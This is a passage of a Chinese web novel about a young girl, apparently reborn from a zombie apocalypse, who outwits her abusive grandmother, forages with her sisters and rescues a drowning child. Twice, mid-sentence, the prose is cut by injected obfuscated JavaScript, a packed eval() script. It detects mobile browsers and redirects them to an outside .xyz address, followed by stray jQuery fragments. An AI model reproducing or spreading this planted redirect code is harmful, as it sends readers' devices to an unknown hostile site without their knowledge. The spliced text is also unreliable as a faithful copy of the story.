“奶要是知道我们找到好吃的,不给宝强吃,会打死我的!” 不等刘慧兰回答,她继续抱不平:“ 要是我真的做错了,我也认,可是明明宝强什么都不做,日日闯祸,还能吃鸡蛋羹,我们姐妹每天累死累活,却肚子都填不饱,我不服气。” 刘慧兰沉默了,是啊,阿奶总是教她,家里以后要靠男孩,所有吃的用的好的要紧着男孩,大堂哥在镇上念书,二堂哥准备去念书,小堂弟日日疯玩吃鸡蛋。若阿奶晓得她们找到好吃的蝼蛄不带回家,一定会狠狠打二妹,责骂阿娘不会教孩子。 她因为定了亲,用阿奶的话说,已经不是刘家的人,不会被责罚。 只是,她不想阿娘被责骂,阿娘虽然不赚钱,不能下田伺候庄稼养家,但也很辛苦,即便身子不好,眼睛不爽利,依然管着家里针线上的活计,一家老小的衣裳、鞋袜等,都是阿娘一针一线做出来的,虽然对家里的贡献小,但也尽力了,一家人,哪里要分那么清楚呢,对家庭贡献小的只能少吃。 她一直以为,只要她听话懂事,只要她按照阿奶的想法把所有事做好,阿奶就不会责骂阿娘,就会心疼她,就会让二房也吃上粘稠的米粥,让幼妹吃上香喷喷的鸡蛋羹,可是,鸡蛋羹,从来没有她们的份。 她有些沉默,不明白哪里出了问题,偏偏二妹连连追问,她只能用阿奶的话搪塞:“阿奶说,我们姐妹以后要靠几个堂兄弟过活,所以要紧着他们。” 刘青青冷笑:“现在一点吃的都被抢了去,以后能靠得住么?” 刘慧兰愣住了,觉得二妹胡搅蛮缠,又觉得二妹说得好像有道理,一时迷茫起来。 刘青青达到目的,也不再说多,冰山要一点一点化,圣母婊也要一点一点醒悟。 她点明主题:“阿姊,今日的蝼蛄就不要提了罢,免得阿娘又要被责骂。只说猪草都被打完了,所以去的地方远,好不好?” 刘慧兰犹豫不决:“万一幼妹说漏呢?” 刘青青轻飘飘扭过头,挣着刘翠翠的辫子:“翠翠,你不准说话,不然,我明日不给你吃虫子拉!” 刘翠翠吓得捂着嘴巴,连连点头。 姐妹三人串好说辞,慢腾腾回了家。 迎接她们的是宋老太阴沉的脸,她见了三人,一句话没问就开始劈头盖脸的骂:“饿不死的赔钱货,一天不着家,不知道野哪里去了。家里猪都要饿死了,衣服放了一天发臭也不回来洗……” 既没有问她们为何到天黑才回来,有没有遇到危险,也没关心她们出去了一天,饿不饿,渴不渴。 刘慧兰因为带着妹妹偷吃蝼蛄的不安,在宋老太的责骂中消失不见,她学着刘青青的模样,垂着脑袋不吭声。 所以,刘家的院子里,二房姐妹三人从高到矮,像被晒焉的小白菜,排成一排,无精打采耷拉着脑袋,那样子,要多可怜,有多可怜。 苏氏站在门口,脸上带着焦急的神色,却不敢吭声,她要开口劝解,便是火上浇油,宋老太得动手打人。 她紧紧的巴着门框,把目光投向堂屋,期望有人能站出来,劝一劝。那里大房一家围着刘宝柱身边,询问他在学堂里的趣事。他们的讨论热闹而亲切,间或笑出声,偶尔看向院子,露出嫌弃的眼神。 宋老太骂了一阵,感觉有些不习惯,往常她要这样的话,刘慧兰早就战战兢兢跪下,哭诉着道歉赔礼,连声保证一定改正,揽下更多的活计,今儿怎么静悄悄的? 今日慧丫头没在家,没吃食的猪几乎要把猪圈掀翻,鸡也拉得满地的屎,可把她累坏了,喂猪又喂鸡,还要清理猪圈,打扫鸡舍,好不容易休息一会,又开始做饭,巧丫头是个没用的,洗个菜能把盆打烂,烧个火差点把火房点了,没办法,只好她一个人来。 一天的劳累,化作无限的怒火,都是因为慧兰偷懒玩耍,才让她累得精疲力尽,浑身酸痛,身上还有一股猪屎味。 不行,她得洗澡,立刻洗澡。 她瞅了屋子里一眼,大房热切的谈话恰好告一段落,刘宝柱走出来,劝道:“阿奶,小孩子哪有不贪玩的,三个妹妹也不是故意的,以后不会再犯了,就算了吧。她们还没吃饭呢,先让她们喝口水,垫吧垫吧肚子罢。” 识文断字的大孙子开口,宋老太还是要给面子的,她冷哼一声:“既然你大堂哥求情,就绕了你们这次!” 慧兰还算乖巧,一定是刘青青,臭丫头从小就淘气,脑袋上长着逆骨,定然是她拐慧兰去玩,要重重的罚她。 顿了一下,宋老太决定:“火房里留了饭,慧兰快去吃,吃完把碗洗了。青丫头,你最淘气,罚你烧一锅水,给你爷哥泡脚解乏,不烧好不准吃饭。” 苏氏松了口气,连忙拉着三姐妹保证不敢再犯,感激的对着刘宝柱道谢。 刘青青心里冷笑,扭过头不说话。刘宝柱表面为她们求情,其实给她们扣上一顶贪玩不归家的帽子,意思是被罚理所应当。两大筐的猪草,这些人全都当做空气。 刘宝柱知道这个堂妹性子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850660|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一向刁钻,也不生气,笑了一下扶着宋老太到堂屋坐着说话。 火房里水缸里已经见底,刘青青本想不搭理的,烧水什么的,谁爱烧谁烧。刘慧兰怕她被宋老太责打,帮她去打水,被刘青青拒绝,刘慧兰背了满满一筐猪草回来,哪里还走得动路。 “阿姊,你们先吃饭休息,我慢慢来,阿奶惩罚我一人,要是知道你们帮我,又要骂人!”说完挤挤眼睛,示意她肚子里有存货,一点也不饿。 刘慧兰老实,无奈的领着幼妹去吃饭,苏氏一直等着她们,也一同食用。 刘青青转了转眼珠子,冷笑着提着木桶,慢吞吞去村口水井里打水,不是要热水么,你们慢慢等着呗。 宋老太看着她出门的身影,露出一个得意的笑。 她区别对待三姐妹,让小丫头一人受罚,有几个好处。 一来她定然生出怨怼,以后姐妹三人生出嫌隙,不会日日混在一起,带坏蕙兰。 二来让她涨涨记性,不听话就没有饭吃。 她思索了一回,放心的去选洗完澡的换洗衣裳。 天色慢慢变黑,收拾完衣服的她到火房里监督苏氏母女吃饭,大孙子孝顺,沐休回来,不忘从镇上带了香甜的白面馒头,孝敬她们二老,又白又胖要一文钱一个呢,她吃了半个,还有半个留着明日吃,苏氏是个懒馋的,总借口生病不干活,这会子二房全在火房,谁晓得她们会不会偷吃。 宋老太沉着脸进了火房,检查了一遍吊在梁上的篮子,吃了一半的白馒头上,她留的头发丝还在,才放了心,转眼看见锅里咕噜咕噜飘着油星的菜汤,心疼得几乎在滴血,火气腾的冲上天灵盖,指着苏氏喷口水:“败家的娘们,刘家是亏待你了,还是怎么你了,大好的米饭煮给你吃,还要嘴馋煮菜,是油不要钱,还是柴火会自己长脚跑来你们家!” 苏氏很委屈,刘宝柱沐休回家,晚饭宋老太做主闷了干米饭,炒了腊肉,煮了放了猪油的菘菜汤,大家伙吃得油光水滑,可是她记挂着外出的女儿,并没吃,宋老太打发她去洗衣裳,说留了饭在锅里温着。 这会子打开一看,只剩薄薄的一层锅巴,硬得牙都要愣掉,菜盆更是干干净净,没办法,她就着菘菜碗加了些水,从菜园中扯了两片叶子丢进去煮,好泡着锅巴吃,到了宋老太嘴里,就变成了败家贪吃的娘们。 委屈受得太多,她已经麻木,也曾和孩子爹抱怨过,孩子爹找宋老太吵一架后,宋老太越发看她不顺眼,男人在家时还好,男人出去打猎后,宋老太总能找到借口折腾她们母女,口口声声说她是不下蛋的母鸡,是她让二房绝了后,尽养些赔钱货拖累刘家,拖累大房。 偏偏男人不会种地,仅会打猎,十天有八天去山里,留下她们母女在家,为了不被磋磨,她只好伏低做小,一忍再忍。 苏氏低着头小口小口的嚼着嘴里的锅巴,不敢吭声。 刘慧兰心里一股郁气无处可发,闷闷解释:“阿奶,这是洗菘菜盆的水煮的汤,没有挖罐子里的油,再说,装油的罐子在柜子里,我们也没钥匙啊。” “幼妹牙没长齐,咬不动才煮了给她泡着吃的” 宋老太才知误会了苏氏,也不道歉,鼻子里哼了一声,又转而责骂刘青青偷奸耍滑,提桶水,这半天竟然还不回来。 苏氏母女才惊觉刘青青去了好大一会,两人对视一眼,从对方的眼里看到了担心,慌忙放下碗筷,奔跑着去寻人。 宋老太气急了,她们竟敢不听她的教导跑了,这还能忍?拉着苏氏不放。 苏氏急哭了,挣开宋老太的手,踉踉跄跄往外跑:“娘,青青才九岁,万一掉井里,她小人儿怎么办才好?” 5. 第 5 章 日头越来越长,太阳还没完全落下,余晖照在身上,暖暖的又不晒人。清水沟村的人们劳累了一天,无论是家里富裕吃米饭的,还是吃野菜饭团的,大家伙都填饱了肚子,聚在村口的大榕树下唠嗑,东家长西家短的说闲话。 刘青青就在村民的八卦中,一步三晃的经过众人面前,单薄的身子裹在灰扑扑的衣服里,上面都是补丁,显然是男款的衣服改小的。手里提着几乎能装下两个她的大木桶,摇摇摆摆走向水井。 村口的老井水质清冽,入口甘甜,即便家里有井的人家也喜欢来此取水。全村的人都喝这口井的水,老村长出面,每家凑了三瓜两枣,修整了水井,砌起了青石,搭起了木棚,装好了摇轮。 刘青青挪步到井边,转动摇轮,放下桶灌满水。 只是下去容易上来难。水桶下去时,不用出什么力气,但上来时,加上水的重量,至少有二十多斤,刘青青一个九岁的孩子哪里转得动? 只见她使出吃奶的力气,勾着身子压在摇柄上,想借助身体的重量转动摇轮,把水带上来,终于,转动了好几圈,大家伙都能看到露出大半截的木桶,可惜,刘青青再也没有力气。 她脚下趔趄了一下,重重的水桶磕在井沿,碎了个缺口,又掉下去,带动着摇柄哗啦哗啦转动起来,反把刘青青扫向一边,摔倒在地。 大家伙的心也跟着摔到了地上,这年头缺医少药,夭折的婴儿不少,养到八九岁的孩子,算是站住了脚,村子里淳朴,看孩子就像看地里的庄稼一般,多少有些爱护之心。恰好村长媳妇徐氏带着小孙子在这里玩,她是个热心的,三步奔两步跑到面前,掺起她来,关切询问:“丫头,有没有摔到哪里?” 刘青青虚弱的摇摇头,露出感激的笑:“婆婆,我没事!谢谢你。” “真的么,我看你脸都白了,是不是哪里疼?” “谢谢您婆婆,我真没事,只是清早在家喝了一碗米汤,打完猪草回来就来打水,有一点饿,才不小心摔倒的。” 她怯怯的回答,投给徐氏感激的笑。挣扎着爬起来,一瘸一拐趴在井沿,看着掉下去的水桶,懊恼自言自语:“糟了,打不上水回家,阿奶不给饭吃的。” 顾不上湿了的衣裳,又去摇动手柄。 大家伙对视一眼,脸上都是熊熊的八卦之色。 宋老太在村子里是个得理不饶人的,因她两个儿子在城里安家,闺女更是成了官夫人,大孙子小小年纪在镇上读书,听说书读得极好,将来一个举人老爷是跑不掉的,她看人都是拿鼻孔,想不到,家里的孙女竟然这样,嗯,面黄肌瘦寒酸怯弱。看看,只喝了一碗米汤,却做了一天的活计,这完全是作践孙女啊。平时宋老太那一副高人一等,显摆宽裕的模样,竟然是刻薄孙女不要脸的。 有那好事的帮她把水提了起来,状若无意问道:“大晚上的,打水作甚?” 刘青青投以感激的眼神,老老实实道:“哦,阿奶说,大堂哥念书辛苦,要我烧些水给他泡泡脚,解解乏。” 这话一出,大家一时间心里酸溜溜的,五味杂陈。 这口井的水大家伙习惯取来喝,洗澡什么的,都是去河里担,谁家会舍得拿来泡脚。 宋老太的大孙子不愧是读书人,洗脚水竟然和大家入口的水的一个样。对她越发看不上眼。 徐氏却皱了眉头,刘老头家是怎么回事,看中孙子也没这么个看中法,让忙了一天的女娃饿着肚子担水给孙子洗脚。她男人是村长,得管管这闲事,让宋老太不要太过火,万一女娃出个好歹,他男人那边如何向里正交差。 她一手扶着刘青青,一手牵着小孙子,让一个高壮的后生提着水桶,不容拒绝道:“好孩子,你腿也摔伤了,如何能使重力,我让你大山哥帮你提。走,我送你家去。” 刘青青露出羞赧愧疚局促的表情,瘸着腿去抢水桶:“这太麻烦你们了,怎么好意思……” 看看,多么懂礼内秀的孩子。 徐氏按住她手不容拒绝:“丫头莫怕,我们都陪你回去。”徐氏振臂一呼,后面呼啦啦跟了一档子人,有真心见不得孩子受苦的心软人,有和宋老太有龌龊去拱火的,有单纯去看热闹的。 刘青青低垂着脸,一副胆怯害怕的模样,她心里也很意外,村子里的人竟然这么热心! 她原本计划慢慢磨到深夜,丢只鞋在井边后躲起来,装作落水的模样,吓唬吓唬宋老太,哪里会料到,这个微胖的婶子竟然帮她出头。见惯了末世的冷漠、乘人之危,她一时有些发懵。这她悄悄扫过身后的人,这次帮她的人,她记住了,以后一定会加倍回报他们的。 刘慧兰娘三个踉跄着跑到半路,遇到一瘸一拐的刘青青,见她好端端站在那里,提起的心放到肚子里,长长的呼出一口气。 苏氏揽过刘青青,抱着她痛哭:“臭丫头,打个水这半天不回来,你是要吓死我!” 宋老太本来有点慌张,这会子看见刘青青好端端的站在那里,和豁了个口子的木桶,心疼得直抽抽,一股子邪火直冲脑门,上去就给刘青青一巴掌:“死不掉的弼马温,打个水竟把我木桶打坏,真是上不得台面的赔钱货,卖了你还不值这只木桶……” 刘青青一反平时在家的横样,被她拍在了地上,呜呜的哭,一边哭一边到处乱钻,大喊不要打了,我再也不敢了,叔叔婶婶哥哥姐姐救命啊…… 宋老太暂时没反应过来,这个孙女为何与家时大相径庭,见她敢躲,干脆脱了鞋子去抽。 大家伙一看,这还了得,再打下去,只怕小娃都要被打死。汉子们不好动手,但各家婆娘都上前劝拉,也有那狭促的,趁机在宋老太身上掐了两把,以报平日的仇。 最后还是徐氏高呼一声,才止了这场闹剧。 徐氏护着哭得上气不接下气的刘青青,严厉喝道:“老嫂子,这孩子也是你儿子的骨肉,往日里只听说你趁老二上山,磋磨她们母女,我竟然不信,家里也不是等着米下锅的落魄户,今日看见这孩子瘦得皮包骨头,看来传言非虚。 你不想想她是老二的骨肉,也要想想你刘家的名声,以后孙辈的嫁娶。” 刘家的邻居孙氏和宋老太多有不合,趁机讥笑:“天天吹得像举人老爷似的,原来是家外强中干,窝里横,只敢欺负磋磨女娃,难怪他家大小子一把年纪还说不上媳妇。” 所以说,最了解你的人还 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刘青青一点也不内疚,作为刘家的既得利益者,刘家还没分家,凭什么他大房刘宝柱吃着白面馒头,穿着棉布衣裳,用着文房四宝,体体面面,她们二房就得食不果腹,衣不蔽体,寒酸潦倒。 不要说什么刘宝柱将来考取功名,刘家鸡犬升天,二房跟着争光。她不稀罕。她只想吃饱肚子,穿暖衣服,不受人奴役,过自己的小日子。 她能在丧尸中闯出一个未来,现在还会听宋老太的摆布? 宋老太和孙氏骂架话题已经拐带到你摘了我家的菜,你偷了我家的鸡之类的事上,而苏氏和刘慧兰只会呆呆的站在一边看着,茫然无措,刘青青叹了口气,阿娘和阿姐还是太木讷,白瞎了她创造的好机会。 刘青青只好哎哟一声,软软的昏倒在地上。 徐氏不愧是村长夫人,见多识广,大嗓门叫唤一声:“啊哟,丫头饿晕拉!” 这一声,算是做实了宋老太的刻薄。 后果就是,村长出面,和刘老头交涉,清水沟是个淳朴的村子,不允许这样的事情发生,让刘老头管好自己的婆娘,莫要让外人笑话。 刘老头沉着脸回到家,耳边回响村长语重心长的话语:“你家宝柱是个有前程的,莫要让他担了一个虐待堂妹的名声,以后这官还怎么做?都是自家血脉,这些年风调雨顺的,不过是些粗粮,家里又不缺,何苦因小失大。” 刘头老知道宋老太抠搜,克扣二房几个丫头的伙食,他不以为意,毕竟几年后就是别人家的,睁一只眼闭一只眼就过去了,只是这次克扣过了头,让青丫头当众饿昏,刘家也成了全村的笑柄,他走在路上,总感觉别人对着他指指点点,眼神隐含鄙夷,这就不能忍了,回到家后,从粮仓里取了半袋小米丢给苏氏,叫她做给刘青青补身子。将宋老太扯到里屋,狠狠打了两个巴掌,叫她收敛些。 宋老太那性子,哪里是肯吃亏的,顺手提起身边的鸡毛掸子就闹起来,老两口上演一出全武行,刘宝柱出面才劝下来。刘慧兰去打扫的时候,茶壶茶碗碎了一地,刘宝柱新做的衣裳拉架时候也被撕了一条口子。 刘青青眯着眼听着刘慧兰带回来的八卦,和翠翠你一口,我一口,舒服的喝着醇香的小米粥,感觉贴慰极了。 没有人想到,这全是九岁不到的刘青青一手筹谋的。 6. 第 6 章 清晨,刘青青木着脸,顶着刘慧兰心疼的眼神,把刘老头给的粮食一股脑倒进了锅里,熬成了一盆浓稠的米粥端回耳房。 手脚利索,拿了四个海碗,把一锅米粥平均分成四份,二房娘四个一人一份。 苏氏拒绝,眼里都是肉疼、可惜:“这是你爷给你补身子的,留着慢慢吃,何苦一次煮了?” 刘慧兰也满脸的不赞同,刘翠翠不明白有吃的为何不吃,看到阿娘和长姐不喝,委屈的撅起嘴巴,乖巧的不伸手。 刘青青心里软了一下,这一家子哟,明明馋的肚子咕噜叫唤,却不愿意喝这碗简单的米粥,满心都是希望她尽快恢复精神。 她不多劝,摆出一副往日犯倔的模样:“娘,我们二房是一体的,我哪里能一人吃独食,你们不喝,我也不喝。 再说,这包粮食留得到明日么?若不吃掉,最多晚间,阿奶又要来讨回去。” 苏氏一想也是,手中就没有富余的时候,每每攒的三瓜两枣都被宋老太讨了去,美名其曰没分家。 一体的三个字到底让刘慧兰愣了一下。 所以,刘家不是一体的,刘家二房才是一体的? 她隐隐约约感觉明白了些什么,又什么都不明白。 幼妹喝一些是没关系的,她捡起翠翠面前的海碗,小口小口的喂她喝下。 喝完自己那一份,刘翠翠小小的手,抱住大大的碗,机灵的倒了些水到空碗中,摇了摇,把粘在碗壁上的小米粒,都灌到嘴里,脸上漏出餍足的笑容。 苏氏心里一酸,这孩子还从来没喝过这样纯净不含米糠的米粥呢。要把自己那一份倒给她,却被刘翠翠拒绝了,奶声奶气学着刘青青的样子摆手:“不喝,不喝!” 耽搁这么一会,刘青青脸已经沉了下来,苏氏和蕙兰怕她又发脾气吵闹,对视一眼,无奈的端起自己那份,小口小口的抿着。 淡黄色的米粥,散发着谷物特有的清香,温润的顺着喉咙流到胃里,暖暖的,柔柔的,一点都不会刮喉咙,嘴里留下一股甘甜。 长时间处在低糖的细胞得到了淀粉的补充,一下子活了过了,苏氏和蕙兰第一次这么饱实,感觉整个人精神奕奕,生机迸发,浑身充满里力量。 两人看刘青青的目光越发慈爱。 她们终于喝下了早餐,刘青青也几口闷下自己的那一份,昨日因她,让宋老太挨了一顿排揎,这会子还躲在屋子里,等着李老头低头。过些时候,宋老太出来,肯定要在刘青青身上找补回来,所以,她最好还是躲出去。 她站起身,扒拉着刘慧兰的手臂:“阿姊,我们去打猪草,我走不动,你替我被背篓!” 刘慧兰嗯了一声,能躲出去,不面对宋老太阴沉沉的秋后算账,她求之不得,只是母亲一人在家,她有些不放心,对苏氏投去担忧的一瞥。 苏氏挤出一丝笑:“村里你王婶子家女儿婚事近了,准备嫁妆,要我今日去她家教她闺女绣枕套,前日已经和你奶说好了,你们放心去吧。”去一天,人家管两顿饭,还给她十个鸡蛋带回家,省下两顿口粮不说,十个鸡蛋值十个铜板呢,宋老太一定会好脸相待。 今日二房都不在家,宋老太的怒火烧不到她们身上。 刘慧兰舒了口气,去院子里准备出门要用的背篓镰刀水囊。刘青青从身后喊住她,有意鼓动她:“阿姐,可不可以悄悄带点盐巴。” 今日还去逮蝼蛄,放点盐巴考出来,味道更绝,她打算多烤一些,送给昨日帮她出头的徐氏的小孙子。 自己人吃,味道淡些没关系,好歹是蛋白质,但送人的话,不放盐,有些说不过去。 可是一想到宋老太藏着火房的钥匙,盐罐子油缸米缸全部锁起来,估计刘慧兰也拿不到。她丧气道:“算了,阿姐,不用了,免得你又挨奶的骂!” 她委屈巴巴的样子,让乖巧老实的刘慧兰很不得劲。 刘青青不多纠缠,转身让苏氏给她缝个口袋挂在身上。她要准备好蝼蛄大丰收,免得像昨日那样用衣袖。幸好这段日子天气好,她才没有受凉,不然又是一顿饥荒。 苏氏心疼她昨夜才受了委屈,今日又要出去打猪草,难得她提出一个要求,便动手把孩子爹一条破洞的裤子剪了,裤脚封严,依着刘青青的指点,在开口系上绳子,两边各自缝上一个肩带,就是一个简单的可以收口的双肩包。 刘青青欢欢喜喜背起来,大小正合适。 刘慧兰这当头也收拾好物件,背着大大的背篓,牵着两人的手去跟墙根下抽旱烟的刘老头说去找猪草。刘老头嗯了一声,算是回应。老婆子现在还不搭理他,不起来做饭,他饿得慌,琢磨着怎么找台阶。引起事端的这几人出门,他求之不得。 三姐妹出了门,直奔昨日割猪草的地边,等割满猪草装满背篓,喝了两口水,瞄准一块洞多的地,分工合作开挖。 刘慧兰今日带来了一把缺口的小锄头,分给刘青青,自己仍旧用镰刀,两人顺着有洞的麦根淘起来,刘翠翠在后面捡着。 有了昨日的经验,再加上今日早间吃饱了肚子,身上干劲十足,两人硕果累累,不一会刘青青的袋子就装满了。 刘青青赶紧把袋子扎紧口子,按到清水里,一来杀灭蝼蛄,二来让蝼蛄喝饱水,清肠,这一步很关键,若等蝼蛄死了再清洗,会有一股腥臭味。 刘青青清洗好蝼蛄,摘干净翅膀,刘慧兰变戏法一样,从背篓下面翻出一块脸盆大小有凹陷的铁皮,支在火塘上,看那模样,是铁锅的一块碎片。 她第一次此从家里偷东西出来,面上有些烧:“我想着用石板烤,太慢,废材火不说还烤不均匀,偷偷把阿奶藏的破铁锅借来用一用,晚上再悄悄送回去。” 农户人家,铁锅坏了舍不得扔,攒够足够的废铁,去打铁铺里出些工费,做新的铁具,宋老太是扣中之王,这方面做得尤其好,倒是便宜了刘慧兰。 刘青青感动得几乎要流泪,对她的行为及时给予正确的反馈:“阿姊你想得真周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850662|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到!” 受到鼓舞的刘慧兰,忐忑的从怀里掏出一个小布包:“还有过年炒豆子留下的粗焦盐,阿奶忘了锁,我也带了些来。” 破铁皮只是用一下,晚间还能还回去,不叫偷。粗盐用掉可就没了,刘慧兰心底不安,不知道这么做,到底对不对。 刘青青看出了她的纠结,扒拉着手指头开导:“阿姊,我们都姓刘,是刘家的血脉,是阿爹的亲骨肉,刘家养育我们长大天经地义。 你不要日日听大伯母唠叨粮食都是他们辛苦种的,我们日日吃白食,你就觉得我们占了他们的便宜。 阿爹即使没种田,但冒着生命危险进山打猎,换取的银钱可都交给了阿奶。那些银钱买粮食,难道还不够我们姐妹几人吃饱么? 阿娘现在只能做些缝补的粗活,之前眼睛好的时候,做了许多精细的绣活,换的钱财也交给了阿奶,还有你,每日间洗衣做饭打猪草,别样不说,卖的猪钱,经过你的手了么,还不是阿奶管着。 我们都参加了劳动,都为这个家做出了很大的贡献,阿奶让我们吃饱肚子是应该的。 导致刘家日子紧巴巴的,不是因为我和妹妹不干活吃白食,而是因为大堂哥念书。” “大堂哥念书这么些年,每年要多少铜钱,你有算过么?我们姐妹一年吃喝要多少铜钱,你算过么?” 刘慧兰觉得她说的对,又觉得不对,嗫嚅了一下,把宋老太挂在嘴巴的话拿出来:“阿奶说,大堂哥是刘家的希望,他考取了功名,才能让刘家改换门庭,我们才能跟着享福,女孩儿应该听话懂事,谦让兄长,疼爱兄弟……” 迎着刘青青讥讽的目光,她声音越来越小。 刘青青嗤笑:“那阿奶可做到了? 别样不说,今早阿爷脸上的指甲痕你也看见了,那是谁抓的? 还不是阿奶,照阿奶的说法,她应该事事听从阿爷的话,可是她不仅不听,还把阿爷打了,是不是不符合她平日的念叨。” “所以阿姊,阿奶的话,一定是对的么?” 刘青青留些这些疑问,转身去烤蝼蛄,和翠翠一起,你一口,我一口,配着水囊里的冷开水,吃得有滋有味。 刘慧兰一直知道二妹从小主意大,天生反骨。今儿二妹的话,让她当头一棒,恍惚明白了什么,又什么都不明白。 从小没出过村子的她,暂时想不明白谁对谁错,她聪明的决定依从本心。 她之前事事听从阿奶的话,活计没少做,但好处从来没有她的份。 跟着阿妹才两天,便饱饱吃到了一顿香甜的浓稠米粥,还能吃到酥香的蝼蛄肉。 刘青青看着上前帮忙烤蝼蛄的刘慧兰,会心一笑,多多鼓励,及时送上彩虹屁:“阿姊,你来烤,我发现你烤的蝼蛄最香。” 最后,三人不仅自己吃了个够,还烤了两包焦盐味的蝼蛄,用干净的树叶包好,藏在猪草里,一包大的准备送给徐氏的小孙子,另一包小的带回家给苏氏尝一尝。 7. 第 7 章 火红的晚霞挂在天边,刘慧兰佝偻着背,肩上压着满满一大筐猪草,后面跟着背小框猪草的刘青青,牵着刘翠翠,三人热闹讨论着明日去哪里挖蝼蛄,慢腾腾从地里回家。 刘青青告诉她,不用那么辛苦,猪草少一些也不打紧,刘慧兰因偷偷拿了焦盐,心里有些忐忑,多背些猪草回家,能让她踏实一些。 好吧,刘青青也不明白她毫无理由莫名其妙的愧疚情。 近来一月天干无雨,水位下降,河水只有浅浅一层,能看清河底淤泥里穿梭的泥鳅吐泡泡。 河中心的沙洲水草丰茂,野鸭水鸟最喜欢在里头做窝。远远的,小鸭子伸着毛茸茸的黄脑袋,在草丛里探头探脑。 刘青青不自觉咽了咽口水,感受到了烤鸭的召唤。眼珠子一转,对刘慧兰软言建议:“阿姊,河水干了,不若,我们歇一歇,去沙洲里寻些鸟蛋,带回家交给阿奶,她一高兴,蒸一锅蛋羹给我们吃。” 刘慧兰想都没想就拒绝:“河底全是淤泥,小孩下去就上不来,你莫要胡闹!”说完,怕她不上心,一只手死死逮住刘青青,疾步如飞,想把她们快些拉离此处。 三人还没走远,随着风传来若影若现的哭喊声。 刘青青屏声静气细听,确实是从河里传来的。 她挣开李慧兰的手,跑到河岸张望,只见一个黑乎乎的身影在水里扑腾,搅动河底的淤泥,那一片变得浑浊不堪,但依稀能分辩那是个孩童! 姐妹三人一惊,是谁家的孩子掉到了水里! 刘青青放下背篓,脱下外套就想下水,刘慧兰浑身发抖,紧紧抓住她不放,:“二妹,我们去叫大人,这河水看着浅,但水底的淤泥却深,万一陷在里头出不来……” 这话提醒了刘青青,她把两个背篓的草全部倒出来,慌忙铺开外套,打包满满一捆猪草,丢在水里,跳在上面慢慢趟到河里。草受到浮力本身就会漂浮,被衣服裹紧后大大的一片,刘青青身体瘦弱,踩在上面只是陷下淤泥一点点,水也才到她肚子深。 但离着孩童还有很大一段距离。 刘慧兰含着眼泪,一边手忙脚乱把自己的外套,幼妹的衣服都脱下来,依葫芦画瓢做成草垫子,丢给刘青青,一边嘱咐幼妹跑回村叫人。 就这样,刘青青用草垫子当踏脚石,一步一步移向河心。姐妹三人的衣服都用完了,就连苏氏新缝的包包都被刘慧兰用来捆草,可是刘青青离挣扎的孩童还有三尺远。 刘青青伸长手臂,瞅准时机,一把逮住孩子的脚,打算把他提出来。却被他另一只脚踢中,重心不稳,栽倒在淤泥里。 刘青青慢慢下沉之际,灵光一现,大叫:“阿姊,快把背篓丢过来!” 背篓是宋老太才买的新背篓,竹篾编织成圆柱体形状,丢到河里,一时半会不会沉进淤泥里。 刘慧兰犹豫了一下,在宋老太打骂和二妹性命之间,果断的选择了二妹。 她用劲力气,把两个背篓甩到刘青青附近。 陷入淤泥的刘青青纵身扑在身边的小背篓上,借力重新站回草垫子,逮到大背篓套在扑腾的孩子下面,将他的头托出水面。 不晓得背篓里的孩子是溺水昏迷,还是脚踩着背篓底,知道安全了,竟没有再挣扎,无形之中刘青青省下好大的力气。 她小心翼翼,站着不动,等河水变清后,踩着适才的草垫子往回移。 站在河岸上的刘慧兰吓得心扑通扑通直跳,眼见二妹离河岸越来越近,松了口气; 可惜耽搁的功夫太久,最先丢进河里的草垫子,竟然慢慢浮起来,飘走了! 刘青青离河岸还有半丈远,托着背篓孤零零站在那里,傻眼了! 还差两个草垫子,她才能走回河岸,这如何是好。 刘慧兰焦急之际,身后传来一阵脚步声,原来翠翠带了好些人来,最前头的是徐氏,她一面跑,一面嚎:我的宝儿! 吃过夕食,大家伙没事在村头玩耍,恰徐氏肚子疼,去了趟茅厕回来,孙子就不见了,正在村头到处寻唤。 翠翠跑回去,逮到一个大人就往外拖,嘴里胡乱喊着落水落水,徐氏几乎没吓昏。全村的人都晓得,清水河河底淤泥深黏,会游泳的大人都不敢下,这小孩子掉下去,焉或有命! 她强撑着一口气,叫上村头的大人,呼啦啦就往河岸跑。 一眼看见河里,自己的孙子满身淤泥,在刘青青背篓里生死不知,瘫在地上,嚎啕大哭。 刘慧兰见来了好些大人,急忙呼救:“阿奶不要忙着哭,我们割猪草回来,恰看到孩子在河里挣扎,二妹立马跳下河救他,可是草垫子被冲走了,我们先把他们弄上来找大夫要紧!” 她还没说完,早有几个健壮的汉子脱衣打算跳水救人,被刘青青止住:“各位叔叔,你们身体重,一下来,这河底的淤泥会把你们拖下去,千万别。 还是用衣服包几个草垫子给我,我踩着就上来了。” 提起衣服,众人有些犹豫,会水的人跳下去救人没什么,相当于游了个泳。可是舍了衣裳,这年头布料金贵,大家伙也只有平常穿的。做了草垫子,只怕会冲走,寻不回来。 别人心疼衣裳,徐氏顾不得,立马脱下身上新作的袄子,刘慧兰接过,用镰刀划开,做了两个草垫子丢给刘青青,刘青青摸索着放在脚下,慢慢挨到了岸边。 众人七手八脚把她拖上来。 